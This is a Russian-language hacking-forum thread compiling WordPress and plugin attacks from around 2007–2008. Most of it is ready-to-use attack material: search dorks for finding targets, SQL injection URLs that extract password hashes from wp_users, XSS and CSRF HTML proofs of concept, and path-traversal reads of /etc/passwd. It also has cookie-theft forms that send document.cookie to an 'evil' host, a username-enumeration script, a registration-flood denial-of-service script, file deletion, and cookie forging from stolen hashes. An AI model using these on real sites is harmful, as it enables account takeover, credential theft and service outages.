PDA

Просмотр полной версии : [ Обзор уязвимостей WordPress ]


ettee
05.10.2007, 19:34
Vulnerabilities:

Wordpress Multiple Versions Pwnpress Exploitation Tookit (0.2pub) (http://milw0rm.com/exploits/4397)

Wordpress plugin myflash <= 1.00 (wppath) RFI Vulnerability (http://milw0rm.com/exploits/3828)

Enigma 2 WordPress Bridge (boarddir) Remote File Include Vulnerability (http://milw0rm.com/exploits/3051)

1.4*
Wordpress plugin wordTube <= 1.43 (wpPATH) RFI Vulnerability (http://milw0rm.com/exploits/3825)

Wordpress plugin wp-Table <= 1.43 (inc_dir) RFI Vulnerability (http://milw0rm.com/exploits/3824)

Wordpress Plugin myGallery <= 1.4b4 Remote File Inclusion Vulnerability (http://milw0rm.com/exploits/3814)


1.5.1.*
Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit) (http://milw0rm.com/exploits/1145)

Wordpress <= 1.5.1.3 Remote Code Execution 0-Day Exploit (http://milw0rm.com/exploits/1142)

Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit (http://milw0rm.com/exploits/1077)

WordPress <= 1.5.1.1 SQL Injection Exploit (http://milw0rm.com/exploits/1033)

WordPress <= 1.5.1.1 "add new admin" SQL Injection Exploit (http://milw0rm.com/exploits/1059)

2.0.*
WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit (http://milw0rm.com/exploits/6)

Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Exploit (http://milw0rm.com/exploits/3109)

Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit (http://milw0rm.com/exploits/3095)

2.1.*
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit (http://milw0rm.com/exploits/3656)

Wordpress 2.1.3 admin-ajax.php SQL Injection Blind Fishing Exploit (http://milw0rm.com/exploits/3960)

2.*
Wordpress <= 2.x dictionnary & Bruteforce attack (http://www.securityfocus.com/archive/1/455927)

WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit (http://milw0rm.com/exploits/4113)

Wordpress 2.2 (xmlrpc.php) Remote SQL Injection Exploit (http://milw0rm.com/exploits/4039)


dork:
"is proudly powered by WordPress"
intext:"Warning: main" inurl:Wp ext:php
inurl:wp-login.php Register Username Password -echo -trac
inurl:"wp-admin" config -cvs -phpxref
inurl:/comments/feed/rss2/ intext:wordpress.org?v=*
Powered by Wordpress 1.2
intext:"proudly powered by WordPress" filetype:php
intext:"powered by WordPress" filetype:php -dritte-seite
intitle:"WordPress > * > Login form" inurl:"wp-login.php"
ext:php inurl:"wp-login.php" -cvs

Full path disclosure:

WordPress < 1.5.2 (http://www.securityfocus.com/archive/1/419999)

Cross-site Scripting:
/wp-login.php?action=login&redirect_to=[XSS]
/wp-admin/templates.php?file=[XSS]
/wp-admin/post.php?content=[XSS]
http://www.example.com/wp-admin/edit-comments.php?s=[XSS]
http://www.example.com/wp-admin/edit-comments.php?s=bla&submit=Search&mode=[XSS]
http://www.example.com/wp-admin/templates.php?file=[XSS]
http://www.example.com/wp-admin/link-add.php?linkurl=[XSS]
http://www.example.com/wp-admin/link-add.php?name=[XSS]
http://www.example.com/wp-admin/link-categories.php?cat_id=[XSS]&action=Edit
http://www.example.com/wp-admin/link-manager.php?order_by=[XSS]
http://www.example.com/wp-admin/link-manager.php?cat_id=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_url=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_name=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_description=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_rel=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_image=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_rss_uri=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_notes=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_id=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&order_by=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&cat_id=[XSS]
http://www.example.com/wp-admin/post.php?content=[XSS]
http://www.example.com/wp-admin/moderation.php?action=update&item_approved=[XSS]

SQL injection examples:
http://www.example.com/index.php?m=[SQL]
http://www.example.com/wp-admin/edit.php?m=[SQL]
http://www.example.com/wp-admin/link-categories.php?cat_id=[SQL]&action=Edit
http://www.example.com/index.php?cat=100)%09or%090=0%09or%09(0=1

Tables/Prefix_/Columns:
wp_

Hash algorithms:
md5(password)

WordPress Vulnerability Scanner

$ perl -x wp-scanner.pl http://testblog/wordpress/

WordPress Scanner starting: David Kierznowski (http://michaeldaw.org)

Using plugins dir: wp-content/plugins

Initial WordPress Enumeration
Finding WordPress Major Version
Testing WordPress Template for XSS

WordPress Basic Results

wp-commentsrss2.php => Version Leak: WordPress 2.1.3
wp-links-opml.php => Version Leak: WordPress 2.1.3
wp-major-ver => Version 2.1
wp-rdf.php => Version Leak: WordPress 2.1.3
wp-rss.php => Version Leak: WordPress 2.1.3
wp-rss2.php => Version Leak: WordPress 2.1.3
wp-server => Apache/1.3.34 (Unix) PHP/4.4.4 mod_ssl/2.8.25 OpenSSL/0.9.8a
wp-style-dir => http://testblog/wordpress/wp-content/themes/time1-theme-10/style.css
wp-title => Test Blog
wp-version => WordPress 2.1.3
x-Pingback => http://testblog/wordpress/xmlrpc.php

WordPress Plugins Found

wp-plugins[0] => Akismet

Download (http://michaeldaw.org/projects/wp-scanner.tar.gz)

+toxa+
05.10.2007, 19:39
http://blogsecurity.net/cgi-bin/wp-scanner.cgi
http://blogsecurity.net/projects/wp-scanner.zip

+toxa+
05.10.2007, 19:48
simple PoC:
<html>
<head></head>
<body>

<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
cookie theft PoC:

<html>
<head></head>
<body>

<form method="post"
action="http://target/wordpress/wp-register.php#location='http://evil/?'+document.cookie"
>
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="anyusername" />
<input type="hidden" name="user_email" id="user_email"
value='"><script>eval(location.hash.substr(1))</script>' />

</form>
<script>document.forms[0].submit()</script>
</body>
</html>
unrestricted script insertion from third-party site

(we prove we can
inject ANY JS):

<html>
<head></head>
<body>

<form method="post" action="http://victim/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="test" />
<input type="hidden" name="user_email" id="user_email"
value='"><SCRIPT src=http://evil/jsfile></SCRIPT>'>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

Solide Snake
05.10.2007, 19:51
07 июня, 2007
Программа: WordPress 2.2, возможно более ранние версии

Опасность: Средняя

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в методе "wp.suggestCategories" в сценарии xmlrpc.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Для выполнения этого нужно что была разрешена регистрация на сайте, отправляется запрос только POST
Вот пример запроса
<methodCall>
<methodName>wp.suggestCategories</methodName>
<params>
<param><value>1</value></param>
<param><value>Здесь логин</value></param>
<param><value>Сдесь пароль</value></param>
<param><value>1</value></param>
<param><value>0 UNION SELECT USER()</value></param>
</params>
</methodCall>

+toxa+
05.10.2007, 19:54
#!/bin/bash

# this script attacks a low-risk username enumeration vul
# on Wordpress 2.2 login page. Previous versions are
# possibly affected as well
#
# Note: you need curl [http://curl.haxx.se/download.html]
# installed on your system for this script to work.
#
# Adrian Pastor - http://www.gnucitizen.org/

if [ $# -ne 2 ]
then
echo "need to parameters! correct syntax is:"
echo "$0 <ip-or-hostname> <wordlist-filename>"
exit 1
fi


for U in `cat $2`
do
#echo $U

if curl -s -d
"log=$U&pwd=mypassword&wp-submit=Login+%C2%BB&redirect_to=" --url
"http://$1/wordpress/wp-login.php" | grep -i 'Incorrect password' >
/dev/null
then
echo "username found!: $U" # print username found on screen
echo $U >> $0.found # save results to file equals to
script name plus .found extension
fi
done

+toxa+
05.10.2007, 20:20
* Table of Contents
* Introduction
* Installing WordPress
o Accessing your WordPress tables
o Changing your WordPress Table Prefix
o Before Installation
o Manually Change
o Through WP Prefix Table Changer
* Preparing the Blog
o Changing your Admin Username
o Create a new limited access user
* Hardening your WP Install
o Restricting wp-content & wp-includes
o Restricting wp-admin
o Block all except your IP
o Password Required - .htpasswd
o The .htaccess file
o The .htpasswd file
* MUSTHAVE Plugins
o WPIDS - Detect Intrusions
o WordPress Plugin Tracker – Are you updated?
o WordPress Online Security Scanner

http://blogsecurity.net/projects/secure-wp-whitepaper.pdf

&&

Writing Secure WordPress Plugins
http://michaeldaw.org/papers/securing_wp_plugins/

ettee
05.10.2007, 20:26
WordPress PHP_Self Cross-Site Scripting Vulnerability
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Wordpress XSS PoC</title>
</head>
<body id="main">

<form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
<p>
<textarea name="newcontent" rows="8" cols="40">&lt;?php echo "Owned! " . date('F d, Y'); ?&gt;</textarea>
</p>
<p>
<input type="hidden" name="action" value="update" />
<input type="hidden" name="file" value="wp-content/themes/default/index.php" />
</p>
</form>
<script type="text/javascript">
// <![CDATA[
document.forms[0].submit();
// ]]>
</script>
</body>
</html>


Vulnerable URI:
/wp-admin/plugins.php?page=akismet-key-config
Vulnerable Post variable:
_wp_http_referer="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100 ,111,99,117,109,101,110,116,46,99,111,111,107,105, 101,41))</script>"
by 0x000000

Fugitif
05.10.2007, 20:28
http://img294.imageshack.us/img294/4733/pspo8.jpg


http://www.blogeek.net/2007/09/26/wordpress-plugin-scanner/

Solide Snake
06.10.2007, 08:53
Перебор паролей для версии Wordpress 2.x на Python тут (http://www.regruppa.ru/content/blog/2007/06/float.py).

ettee
06.10.2007, 16:38
runPHP Plugin
/wp-admin/post.php?action=edit&post=1/*SQLINJECTION*/%20AND%201′=0


WP <2.3
http://target/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(1)</script>


WordPress 2.0.1 Remote DoS Exploit

#!perl
#Greets to all omega-team members + h4cky0u[h4cky0u.org], lessMX6 and all dudes from #DevilDev ;)
#The exploit was tested on 10 machines but not all got flooded.Only 6/10 got crashed
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg; #no http://
for ($i=0; $i<99999999999999999999999999999999999999999999999999 99999999999999999999; $i++) #0_o :)
{
$user="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x 6d\x6e\x66\x6f\x6f".$rand.$i; #you N33d t0 be l33t t0 s33 th!S !
$data = "action=register&user_login=$user&user_email=$user\@matrix.org&submit=Register+%C2%BB";
$len = length $data;
$foo = "POST ".$dir."wp-register.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+";
}
#s33 if the server is down
print "\n\n";
system('ping $host');
sub usage {
print "\n\t(W)ordpress 2.0.1 (R)emote (D)oS (E)xploit (B)y matrix_killer\n";
print "\te-mail: matrix_k\@abv.bg\n";
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /wordpress/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n";
exit();
};

The_HuliGun
21.10.2007, 16:45
Раскрытие Пути

http://[target]/[path]/wp-content/plugins/akismet/akismet.php

Solide Snake
28.10.2007, 03:32
Simple Forum (for WordPress) sql-inject exploit (public version) (http://securityvulns.com/files/sfex.pl)

Fugitif
01.11.2007, 19:21
WordPress Plugin BackUpWordPress <= 0.4.2b RFI Vulnerability

#Author: S.W.A.T.


#cont@ct: svvateam@yahoo.com

--------------------------------------------------------------------------------


------------------------- -------------------------------------------------------

Application : BackUpWordPress 0.4.2b

Download : http://wordpress.designpraxis.at/download/backupwordpress.zip

--------------------------------------------------------------------------------
Vuln :

require_once $GLOBALS['bkpwp_plugin_path']."PEAR.php";

--------------------------------------------------------------------------------

Exploit:

http://[target]/_path]/plugins/BackUp/Archive.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=Shl3?

& other Files & Folders In The [Archive] Folder

--------------------------------------------------------------------------------

Dork:

"inurl:/plugins/BackUp"



Mirror:

http://www.milw0rm.com/exploits/4593

Fugitif
05.12.2007, 21:23
Sql Injection in wordpress 2.3.1


Author : Beenu Arora

Mail : beenudel1986 (at) gmail (dot) com [email concealed]

Application : WordPress (2.3.1)

Homepage: http://wordpress.org/

~~~~~~~~~~~~~~~~~~SQL Injection ~~~~~~~~~~~~

Vulnerable URL : http://localhost/path_to_wordpress/?feed=rss2&p=

Parameter : P

POC = http://localhost/path_to_wordpress/?feed=rss2&p=11/**/union/**/select/**
/concat(user_password,char(100),username),2/**/from/**/wp_users/**/where
/**/user_id=1/*


http://www.securityfocus.com/archive/1/484608

Solide Snake
11.12.2007, 20:29
Wordpress toolkit exploit (http://www.securitylab.ru/poc/302688.php)

Fugitif
11.12.2007, 21:47
WordPress Charset SQL Injection Vulnerability

Недостаточная фильтрация при GBK-кодировке базы приводит к SQL-injection.
( Статья описания уязвимости на Античате: https://forum.antichat.ru/thread62109.html )


Exploit:
http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23

_http://ilia.ws/archives/103-mysql_real_escape_string-
versus-Prepared-Statements.html

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=== WordPress Charset SQL Injection Vulnerability ===

Release date: 2007-12-10
Last modified: 2007-12-10
Source: Abel Cheung
Affected version: WordPress escape($gpc);
}


Finally, escape() method belongs to wp-includes/wp-db.php:

function escape($string) {
return addslashes( $string ); // Disable rest for now, causing problems
......
}


3. Proof of concept

a. After WordPress installation, modify wp-config.php to make sure
it uses certain character set for database connection (Big5 can
also be used):
define('DB_CHARSET', 'GBK');

b. http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23


4. Workaround

Note: This vulnerability only exists for database queries performed
using certain character sets. For databases created in most other
character sets no remedy is needed.

a. It is recommended to convert WordPress database to use character sets not
vulnerable to such SQL exploit. One such charset is UTF-8, which does not
use backslash ('\') as part of character and it supports various languages.
b. Alternatively, edit WordPress theme to remove search capability.


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: http://firegpg.tuxfamily.org

iD8DBQFHXVXGQVLh8cZxhv8RAgjgAKDwvrrO6hJbnV0/VFah5W+i8grYcwCgzyCT
5RKJG+zo/mktmRU3v1IfmXE=
=2okr
-----END PGP SIGNATURE-----

Fugitif
16.12.2007, 01:49
Получение админских привелегий в обход пароля.

Как юзать: _http://forum.antichat.ru/showpost.php?p=729009&postcount=63

By Michael Brooks

Vulnerability:Broken Access Control

Homepage:http://wordpress.org/download

Software: Wordpress

Version affected:2.3.1 (Latest at the time of writing)



The impact of the flaw is that an attacker can read posts while they are still drafts. This is an ability that only the administrator should have. Imagine a stranger being able to read the news before it is published. Or perhaps a spam-blog harvesting posts before they are published.



This flaw is because Wordpress is trusting the $_SERVER['REQUEST_URI'] global variable. Manipulation of $_SERVER['REQUEST_URI']has led to many xss flaws. Although an attacher shouldn't be able to control all $_SERVER variables, none of them should be trusted.



exploit:

htttp://localhost/wordpress/'wp-admin/


This will cause both $_SERVER['REQUEST_URI'] and $_SERVER['PHP_SELF'] to contain the value:
htttp://localhost/wordpress/'wp-admin/


Vulnerable function:

line 34, in ./wp-includes/query.php.

function is_admin () {

global $wp_query;



return ($wp_query->is_admin || (stripos($_SERVER['REQUEST_URI'], 'wp-admin/') !== false));

}

The same flaw is duplicted in again on line 645 of the same file.



This url: htttp://localhost/wordpress/'wp-admin/
will cause the is_admin() function to return true. This flaw works regardless of register_globas or magic_quotes_gpc. The attack fails when search engine friendly urls are turned on in wordpress, however this option is turned off by default. Turning search engine friendly urls on is a workaround until a patch is created.

+toxa+
25.12.2007, 21:45
Wordpress Plugin PictPress <= release0.91 Remote File Disclosure Vulnerability
D.Script : http://downloads.wordpress.org/plugin/pictpress.release-0.91.zip
Vuln Code :
In Line 5,6,7,8 :
$path = $_GET['path'];
$size = $_GET['size'];
$base = dirname(__FILE__) . "/..";
$cache = "$base/cache/$size/$path";
In Line 22 :
readfile($cache);
POC :
/wp-content/plugins/pictpress/resize.php?size=../../../../../../../../../../&path=/etc/passwd%00

# milw0rm.com [2007-12-05]

+toxa+
25.12.2007, 21:52
For attacking admin only (at options page):

1
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_email" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

2
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_subject" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

3
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_question" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

4
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_answer" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>


=====
For attacking every user of the site (at contact page):

5
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_question" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>


<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<body>
<iframe src="http://site/contact/" width="0" height="0"></iframe>
</form>
</body>
</html>


======
For attacking every user of the site at contact page (and admin at options page):

6
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_success_msg" value="</textarea><script>alert(document.cookie)</script>" />
</form>
</body>
</html>

7
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_error_msg" value="</textarea><script>alert(document.cookie)</script>" />
</form>
</body>
</html>


======
For attacking every user of the site (at contact page):

8
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_answer" value="4" />
<input type="hidden" name="wpcf_success_msg" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/contact/" method="post">
<input type="hidden" name="wpcf_stage" value="process" />
<input type="hidden" name="wpcf_your_name" value="test" />
<input type="hidden" name="wpcf_email" value="test@test.test" />
<input type="hidden" name="wpcf_response" value="4" />
<input type="hidden" name="wpcf_msg" value="XSS" />
</form>
</form>
</body>
</html>

9
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_error_msg" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>


<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/contact/" method="post">
<input type="hidden" name="wpcf_stage" value="process" />
<input type="hidden" name="wpcf_msg" value="XSS" />
</form>
</form>
</body>
</html>

+toxa+
03.01.2008, 16:43
function validate_file(..)
if (false !== strpos($file, ‘./’))

Proof of concept:
http://site/wp-admin/index.php?page=\..\..\.htaccess

Solide Snake
07.01.2008, 11:35
Wordpress Plugin Wp-FileManager 1.2 Remote Upload Vulnerability

Файловый менеджер находится тут:

http://[TARGEt]/[path_wordpress]/wp-content/plugins/wp-filemanager/ajaxfilemanager/ajaxfilemanager.php

После загрузки скрипт вы найдете в этом каталоге:

http://[TARGEt]/[path_wordpress]/uploaded/[evil].(php)

Запрос для поиска:

plugins/wp-filemanager/
inurl:/wp-filemanager/

ettee
08.01.2008, 00:29
/wp-admin/index.php?page=\..\..\file.php
/wp-admin/index.php?page=\..\..\.htaccess
/wp-admin/link-manager.php?page=\..\..\.htaccess
/wp-admin/link-add.php?page=\..\..\.htaccess
/wp-admin/link-categories.php?page=\..\..\.htaccess
/wp-admin/link-import.php?page=\..\..\.htaccess
/wp-admin/theme-editor.php?page=\..\..\.htaccess
/wp-admin/plugin-editor.php?page=\..\..\.htaccess
/wp-admin/profile.php?page=\..\..\.htaccess
/wp-admin/users.php?page=\..\..\.htaccess
/wp-admin/options-general.php?page=\..\..\.htaccess
/wp-admin/options-writing.php?page=\..\..\.htaccess
/wp-admin/options-reading.php?page=\..\..\.htaccess
/wp-admin/options-discussion.php?page=\..\..\.htaccess
/wp-admin/options-permalink.php?page=\..\..\.htaccess
/wp-admin/options-misc.php?page=\..\..\.htaccess
/wp-admin/import.php?page=\..\..\.htaccess
/wp-admin/admin.php?page=\..\..\.htaccess
/wp-admin/bookmarklet.php?page=\..\..\.htaccess
/wp-admin/cat-js.php?page=\..\..\.htaccess
/wp-admin/inline-uploading.php?page=\..\..\.htaccess
/wp-admin/options.php?page=\..\..\.htaccess
/wp-admin/profile-update.php?page=\..\..\.htaccess
/wp-admin/sidebar.php?page=\..\..\.htaccess
/wp-admin/user-edit.php?page=\..\..\.htaccess
win only

halkfild
14.01.2008, 02:24
Вход по md5() хешу пароля в куках

Программа: WordPress 2.3.1 и более ранние версии
Опасность: Низкая
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет удаленному пользователю обойти некоторые ограничения безопасности.

Уязвимость существует из-за того, что злоумышленник может создать два аутентификационных файла куки ("wordpressuser_*" и "wordpresspass_*") из данных в таблице "users" и получить административный доступ к приложения. Для успешной эксплуатации уязвимости злоумышленнику требуется получить доступ на чтение таблицы "users" в базе данных.

описание и сайт
http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt

==================================


$siteurl;$host;
'wordpressuser_'.md5($siteurl).'='.$login
'wordpresspass_'.md5($siteurl).'='.md5(md5($pass))

Здесь $siteurl - переменная которая лежит в БД:
wp_options
-siteurl
Тоесть при SQL-инъекции желательно вытащить и ее тоже: (select siteurl from wp_options)

Иногда один вордпресс используется для разных доменных имен.
Тогда вместо $siteurl берется $host, фактически равное URL-пути до блога, например:
http://wordpress.com/blog
без слеша на конце.



NEW! Дополнение.

Раскрытие COOKIEHASH.

Необязательно вообще добывать siteurl, кодировать его в мд5 и проверять.

Достаточно послать пост-пакет на wp-pass.php или на wp-login.php
В ответе вам вернется валидный COOKIEHASH кукиса.

[-1-] /wp-login.php?action=logout

[-2-] wp-pass.php

POST /wordpress/wp-pass.php HTTP/1.0
Host: localhost
Content-Length: 20

post_password=test

ettee
16.01.2008, 01:04
Files locations
blogscout
lectblog
blogs
blog
blog-*
blog*
myblog
bloggt
blo
*-blog
wp
wordpress
wordpress.1
wordpress-1
wordpress_1
wordpress-*
wordpress_*
weblog
webblog
webblogs
web-blog
my-journals
myjournal
my-favorite-blog
myblog
myblogs
my-blogs
wp1-5
wp2.2
wp2-2
wp2.3
wp2-3
wp2.2
wp2.0
powered-by-wordpress
wordpress-mu
wordpress_1_5
wordpress-1.5
wordpress-1-5-1
wordpress-1.5.2
wordpress-1.0.2
wordpress-1-2-2
wordpress_2.0_only
wordpress_2.3-series
wordpress_2.3.2
wordpress_2-3-1
Wordpress_2.4
Wordpress_2.5
Wordpress_2-5
wordpress_2.3.1
wordpress_2.0.2
wordpress_2.3
wordpress_2.0.7
Wordpress_2.4
wordpress_2.2.3
wordpress_2.1.2
WordPress_2.4
wordpress_2.3.1
WordPress_2-3
WordPress_2-2-2
WordPress_2-3-3
wordpress_2-3
Wordpress_2-2

+toxa+
17.01.2008, 17:23
http://wordpress.dom/blah’style=xss:expression(alert(document.cookie) ); (Tested on IE7)
OR
http://wordpress.dom/blah’onMouseOver=javascript:alert(document.cooki e);// (Testing on Firebox & IE)

fix
Vulnerable code: in class.php (Line 166)
$url = htmlspecialchars(add_query_arg(array(’dem_action ’ => ‘view’, ‘dem_poll_id’ => $this->id)));

Change to:
$url = htmlspecialchars(add_query_arg(array(’dem_action ’ => ‘view’, ‘dem_poll_id’ => $this->id)), ENT_QUOTES);

+toxa+
17.01.2008, 17:24
http://wordpress-blog/?textlinkads_action=sync_posts&textlinkads_post_id=’/**/U/**/S/**/1,user_login,user_pass,display_name/**/from/**/wp_users%23
fix

The vulnerable code is found on line 512:
$postId = $postId;
This variable is passed to $wpdb->get_results without being sanitised.
to fix this hole, simply change the above line to:
$postId = (int) $postId;

iddqd
19.01.2008, 03:20
WordPress<=2.0.3 Arbitrary file deletion

Только на Windows:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=\..\..
\.htaccess

Это также может быть использовано для проведения DoS-атаки. При удалении index.php сайт перестанет нормально функционировать.

WordPress<=2.0.3 DoS:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=../../index.php

Только на Windows:
http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=\..\..
\index.php

XSS:

http://site/wp-admin/edit.php?page=wp-db-backup.
php&backup=%3Cscript%3Ealert(document.
cookie)%3C/script%3E


XSS: wp-cat2tag converter:
http://localhost/wp/wp-admin/admin.php?import=wp-cat2tag&--><script>alert(/XSS/)</script>

Уязвимы версии WordPress <= 2.0.11 и потенциально последующие версии (2.1.x, 2.2.x и 2.3.x).

Solide Snake
20.01.2008, 14:38
Wordpress plugin WP-Forum 1.7.4 Remote SQL Injection Vulnerability

remote sql injection exploit
################################################## #############


# >>> -::DESCRIPTION== >> WordPress forum plugin by Fredrik Fahlstad. Version: 1.7.4.

